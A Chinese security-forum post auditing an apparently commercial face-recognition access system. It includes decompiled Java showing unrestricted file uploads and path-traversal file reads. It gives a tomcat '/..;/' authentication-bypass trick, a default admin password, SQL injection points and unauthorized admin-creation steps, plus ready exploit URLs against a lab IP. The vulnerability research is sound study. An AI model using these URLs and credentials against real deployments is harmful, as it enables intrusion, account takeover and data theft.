问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某王某脸通代码审计
漏洞分析
对某脸通进行代码审计
权限绕过 ==== 这套系统是安装包一键部署的,所以它如果版本不更新的话,组件是固定的。由于这套系统使用了nginx+tomcat,tomcat在规范化处理url时会将/..;/替换为/../,但是nginx不会做特殊处理,所以就可以在tomcat侧实现路径穿越,也算是万年老洞了,导致了后面一系列后台洞变成了前台洞。 这套系统高一点的版本使用了源码混淆,反编译可能有点麻烦,正好我这里是没有混淆的版本,就免了这一步。 白名单接口:  首先喽一下lib,看看有没有低版本依赖,只有个1.2.83的fastjson,算了  默认管理员账号密码 ========= 从数据库可以看到管理员账号密码 admin 123654  任意文件上传 ====== 这套代码上传有很多,且都前台返回了shell文件名 dgmCommand/resourceUploadFile.do -------------------------------- ```java @ResponseBody @RequestMapping( value = {"resourceUploadFile.do"}, method = {RequestMethod.POST} ) public RequestJson resourceUploadFile(HttpServletRequest request) { RequestJson result = new RequestJson(); String fileType; try { if (!ServletFileUpload.isMultipartContent(request)) { result = RequestJson.failuerResult(result, "网络错误!"); return result; } String fileName = null; fileType = null; MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request; Map fileMap = multipartRequest.getFileMap(); String uploadPath = null; Iterator var9 = fileMap.entrySet().iterator(); while(var9.hasNext()) { Entry entity = (Entry)var9.next(); MultipartFile mf = (MultipartFile)entity.getValue(); if (!mf.isEmpty()) { String fileId = UUID.randomUUID().toString().replace("-", ""); String fileTypeStr = mf.getOriginalFilename(); fileName = fileTypeStr.split("\\\\.")\[0\]; fileType = fileTypeStr.split("\\\\.")\[1\]; String path = request.getSession().getServletContext().getRealPath("/resource"); File tmpFile = new File(path); if (!tmpFile.exists()) { tmpFile.mkdir(); } uploadPath = path + "\\\\" \+ fileId + "." \+ fileType; File targetFile = new File(uploadPath); Files.copy(mf.getInputStream(), targetFile.toPath(), new CopyOption\[\]{StandardCopyOption.REPLACE\_EXISTING}); } } Map map = new HashMap(); map.put("fileName", fileName); map.put("fileType", fileType); map.put("path", uploadPath); result = RequestJson.successResult(result, map, "上传成功!"); } catch (Exception var16) { fileType = getMessage("basics\_go\_wrong") + var16.getLocalizedMessage(); result = RequestJson.errorResult(result, fileType); logger.error(fileType); var16.printStackTrace(); } return result; } ``` 朴实无华的任意文件上传,上传文件会落到resource下,且给出了物理路径   leaveList/monadFileUpload.do ---------------------------- ```java @ResponseBody @RequestMapping( value = {"/monadFileUpload.do"}, method = {RequestMethod.POST} ) public RequestJson monadFileUpload(@RequestParam MultipartFile file, @RequestParam(required = false,value = "type") Integer type, @RequestParam(required = false,value = "deviceType") String deviceType) { RequestJson result = new RequestJson(); String imagePath; String name; try { CommonsMultipartFile cf = (CommonsMultipartFile)file; DiskFileItem fi = (DiskFileItem)cf.getFileItem(); File f = fi.getStoreLocation(); SimpleDateFormat fmt = new SimpleDateFormat("yyyy-MM-dd"); String format = fmt.format(new Date()); name = file.getOriginalFilename(); imagePath = this.saveImageFile(f, name, format, type, deviceType); } catch (Exception var12) { var12.printStackTrace(); return RequestJson.errorResult(result, var12.getMessage()); } return RequestJson.successResult(result, imagePath, name); } public String saveImageFile(File fileObj, String fileName, String dirName, Integer type, String deviceType) throws Exception { if (fileObj == null) { return null; } else if (!fileObj.isFile()) { throw new Exception(getMessage("personnel\_user\_upload\_file\_formal\_error2")); } else { long length = fileObj.length(); if (length <= 0L) { throw new Exception(getMessage("personnel\_user\_upload\_file\_formal\_error3")); } else if (length > 10485760L) { throw new Exception("图片文件不能超过10MB!当前文件大小:" \+ length / 1048576L \+ "MB"); } else { if (type != null) { this.VerifyThePixel(fileObj, deviceType); } String postfix = fileName.substring(fileName.lastIndexOf(".")); String photoDir = "resource" \+ File.separator + dirName; return Utils.saveFile(photoDir, postfix, fileObj); } } } ``` 同样未对上传文件类型做校验,导致任意文件上传,路径为/resource/上传日/  systemBlackList/uploadBlackListFile.do -------------------------------------- ```java @ResponseBody @RequestMapping( value = {"uploadBlackListFile.do"}, method = {RequestMethod.POST} ) public RequestJson uploadMeetingFile(HttpServletRequest request) { RequestJson result = new RequestJson(); String fileType; try { String fileName = null; fileType = null; if (!ServletFileUpload.isMultipartContent(request)) { result = RequestJson.failuerResult(result, getMessage("system\_blacklist\_network\_error")); return result; } MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request; Map fileMap = multipartRequest.getFileMap(); String uploadPath = null; Iterator var9 = fileMap.entrySet().iterator(); while(var9.hasNext()) { Entry entity = (Entry)var9.next(); MultipartFile mf = (MultipartFile)entity.getValue(); if (!mf.isEmpty()) { String fileTypeStr = mf.getOriginalFilename(); String fileId = UUID.randomUUID().toString().replace("-", ""); fileName = fileTypeStr.split("\\\\.")\[0\]; fileType = fileTypeStr.split("\\\\.")\[1\]; String path = request.getSession().getServletContext().getRealPath("/resource"); File tmpFile = new File(path); if (!tmpFile.exists()) { tmpFile.mkdir(); } uploadPath = path + "/" \+ fileId + "." \+ fileType; File targetFile = new File(uploadPath); logger.error("文件存储地址测试" \+ uploadPath); Files.copy(mf.getInputStream(), targetFile.toPath(), new CopyOption\[\]{StandardCopyOption.REPLACE\_EXISTING}); uploadPath = "resource/" \+ fileId + "." \+ fileType; fileName = fileName + "." \+ fileType; } } Map map = new HashMap(); map.put("fileName", fileName); map.put("fileType", fileType); map.put("path", uploadPath); result = RequestJson.successResult(result, map, getMessage("channel\_server\_upload\_success")); } catch (Exception var16) { fileType = getMessage("basics\_go\_wrong") + var16.getLocalizedMessage(); result = RequestJson.errorResult(result, fileType); logger.error(fileType); var16.printStackTrace(); } return result; } ``` 一样的配方一样的味道  meeting/uploadMeetingFile.do ---------------------------- ```java @ResponseBody @RequestMapping( value = {"uploadMeetingFile.do"}, method = {RequestMethod.POST} ) public RequestJson uploadMeetingFile(HttpServletRequest request, HttpServletResponse response) { RequestJson result = new RequestJson(); String fileType; try { String fileName = null; fileType = null; if (!ServletFileUpload.isMultipartContent(request)) { result = RequestJson.failuerResult(result, getMessage("system\_blacklist\_network\_error")); return result; } SessionalUser su = getSessionUser(); Locale newLocale = TheApp.getLocale(su.getLanguageLocal()); UserHandlerInterceptor.setLocale(request, response, newLocale); MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request; Map fileMap = multipartRequest.getFileMap(); String uploadPath = null; Iterator var12 = fileMap.entrySet().iterator(); while(var12.hasNext()) { Entry entity = (Entry)var12.next(); MultipartFile mf = (MultipartFile)entity.getValue(); if (!mf.isEmpty()) { String fileTypeStr = mf.getOriginalFilename(); String fileId = UUID.randomUUID().toString().replace("-", ""); int x = fileTypeStr.lastIndexOf("."); fileName = fileTypeStr.substring(0, x); fileType = fileTypeStr.substring(x, fileTypeStr.length()); String path = request.getSession().getServletContext().getRealPath("/resource"); File tmpFile = new File(path); if (!tmpFile.exists()) { tmpFile.mkdir(); } uploadPath = path + "/" \+ fileId + fileType; File targetFile = new File(uploadPath); logger.error("文件存储地址测试" \+ uploadPath); Files.copy(mf.getInputStream(), targetFile.toPath(), new CopyOption\[\]{StandardCopyOption.REPLACE\_EXISTING}); uploadPath = fileId + fileType; fileName = fileName + fileType; } } Map map = new HashMap(); map.put("fileName", fileName); map.put("fileType", fileType); map.put("path", uploadPath); result = RequestJson.successResult(result, map, getMessage("channel\_server\_upload\_success")); } catch (Exception var20) { fileType = getMessage("basics\_go\_wrong") + var20.getLocalizedMessage(); result = RequestJson.errorResult(result, fileType); logger.error(fileType); var20.printStackTrace(); } return result; } ``` 这个方法由于需要获取当前用户的会话和语言设置, 所以权限绕过后也无法利用,需要登录一个用户,不过依然可以利用,只不过需要前台添加用户。后面会有相关漏洞 ```java SessionalUser su = getSessionUser(); Locale newLocale = TheApp.getLocale(su.getLanguageLocal()); ```  meetingPersonal/uploadMeetingFile.do ------------------------------------ 与meeting/uploadMeetingFile.do基本一致,同样需要登录一个用户 resourceUpload/upload.do ------------------------ ```java @RequestMapping( method = {RequestMethod.POST}, value = {"upload.do"} ) @ResponseBody public RequestJson resourceUploadFile(HttpServletRequest request) { RequestJson result = new RequestJson(); try { result.setResultCode(0); if (!ServletFileUpload.isMultipartContent(request)) { result.setSuccess(false); result.setMsg("网络错误!"); result.setResultCode(-1); return result; } MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request; Map fileMap = multipartRequest.getFileMap(); ResourceFile resourceFile = new ResourceFile(); Iterator var6 = fileMap.entrySet().iterator(); while(var6.hasNext()) { Entry entity = (Entry)var6.next(); MultipartFile mf = (MultipartFile)entity.getValue(); if (!mf.isEmpty()) { String fileId = DigestUtil.uuid(); String fileTypeStr = mf.getOriginalFilename(); String fileType = fileTypeStr.toString().split("\\\\.")\[1\]; String uploadUrl = TheApp.getRootPath("operation/upload/"); File file = new File(uploadUrl); if (!file.exists()) { file.mkdirs(); } String uploadPath = uploadUrl + fileId + "." \+ fileType; File targetFile = new File(uploadPath); Files.copy(mf.getInputStream(), targetFile.toPath(), new CopyOption\[\]{StandardCopyOption.REPLACE\_EXISTING}); resourceFile.setFileUrl(uploadPath); resourceFile.setFileName(mf.getOriginalFilename()); resourceFile.setFileSize(mf.getSize()); resourceFile.setCreateTime(new Date()); this.resourceFileDsm.insert(resourceFile); } } result.setResultCode(0); result.setObj(resourceFile); result.setSuccess(true); } catch (Exception var16) { var16.printStackTrace(); result.setSuccess(false); result.setResultCode(-1); result.setMsg("网络错误!"); } return result; } ``` 直接上传  还有几个上传基本都这样的,不写了 sql注入 ===== 直接去xml里找没预编译的就行,直接快准狠 meeting/meetingFileManage.do ---------------------------- 前几天爆出的这个注入  也是因为有的参数没有预编译导致的 直接sqlmap一把梭  [http://192.168.150.4:8100/manage/login/resetPassword.do/..;/..;/meeting/meetingFileManage.do?&amp;order=1](http://192.168.150.4:8100/manage/login/resetPassword.do/..;/..;/meeting/meetingFileManage.do?&order=1) systemBlackList/queryBlackList.do --------------------------------- 一样的配方一样的味道   其他注入基本都这样的,参数也一模一样不赘述了 逻辑类 === **前台任意用户账号密码查询** ---------------- [http://192.168.150.4:8100/manage/login/resetPassword.do/..;/..;/personnel/getPersonnelById.do?t=1746522206094&amp;id=1](http://192.168.150.4:8100/manage/login/resetPassword.do/..;/..;/personnel/getPersonnelById.do?t=1746522206094&id=1)  该方法通过id查询用户信息,id为顺序排列,1为管理员,遍历即可查询所有用户的账号密码hash,哈希为二次md5   **前台越权管理员用户添加** --------------- 通过两个接口进行添加管理员 添加普通用户接口 personnel/insertPersonnel.do  成功添加用户名为2,密码为1的用户  添加为管理员用户接口 systemUserMgr/addMultiUserRole.do 获取登陆后的cookie和上一步的三个参数(旧版本无需cookie)  成功添加至管理员  任意文件读取 ====== personnel/fileDownload.do ------------------------- <http://192.168.150.4:8100/manage/login/resetPassword.do/..;/..;/personnel/fileDownload.do?fileId=../../../../Windows//win.ini> ```java @ResponseBody @RequestMapping( value = {"/fileDownload.do"}, method = {RequestMethod.GET} ) public void fileUpload(@RequestParam(required = true) String fileId, HttpServletResponse response) { try { if (fileId.equals("undefined")) { return; } File file = new File(TheApp.getRootPath(fileId)); String\[\] split = fileId.split("/"); String fileName = split\[split.length \- 1\]; response.setContentType("application/octet-stream;charset=utf-8"); response.setHeader("Content-Disposition", "attachment;fileName=" \+ fileName); ServletOutputStream outputStream = response.getOutputStream(); FileInputStream fileInputStream = new FileInputStream(file); loadFile(outputStream, fileInputStream); closeIO(outputStream, fileInputStream); } catch (IOException var8) { String msg = getMessage("basics\_go\_wrong") + var8.getMessage(); logger.error(msg); } } ``` 这里fileid未对特殊字符进行过滤,且该项目没有全局过滤特殊字符,导致可以通过../穿越读取任意文件 leaveList/exportResourceByFilePath.do ------------------------------------- <http://192.168.150.4:8100/manage/login/resetPassword.do/..;/..;/leaveList/exportResourceByFilePath.do?filePath=../../../../Windows//win.ini> ```java @ResponseBody @RequestMapping( value = {"exportResourceByFilePath.do"}, method = {RequestMethod.GET} ) public void exportResourceByFilePath(@RequestParam(required = false,value = "filePath") String filePath, HttpServletResponse response) throws Exception { try { String path = TheApp.getRootPath(""); String photoPath = path + filePath; File file = new File(photoPath); if (file.exists()) { InputStream inStream = new FileInputStream(photoPath); response.reset(); response.setContentType("bin"); response.addHeader("Content-Disposition", "attachment;filename=\\"" \+ new String(filePath.getBytes("utf-8"), "ISO8859-1") + "\\""); byte\[\] b = new byte\[100\]; int len; while((len = inStream.read(b)) > 0) { response.getOutputStream().write(b, 0, len); } inStream.close(); } } catch (IOException var9) { var9.printStackTrace(); } } ``` 同样,filePath可以通过../穿越读取任意文件 resourceUpload/imgDownload.do ----------------------------- <http://192.168.150.4:8100/manage/login/resetPassword.do/..;/..;/resourceUpload/imgDownload.do?filePath=../../../../Windows//win.ini> ```java @RequestMapping( value = {"/imgDownload.do"}, method = {RequestMethod.GET} ) @ResponseBody public void imgDownload(@RequestParam(required = true) String filePath, HttpServletRequest request, HttpServletResponse response) { try { String fullPath = PhotoStoreUtils.getCaptureDirectoryPhysicalPath() + filePath; FileInputStream is = new FileInputStream(fullPath); int i = is.available(); byte\[\] data = new byte\[i\]; is.read(data); is.close(); response.setContentType("image/\*"); OutputStream toClient = response.getOutputStream(); toClient.write(data); toClient.close(); } catch (IOException var9) { } } ``` 同样,filePath可以通过../穿越读取任意文件
发表于 2025-07-30 09:00:02
阅读 ( 327 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
张三一号
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!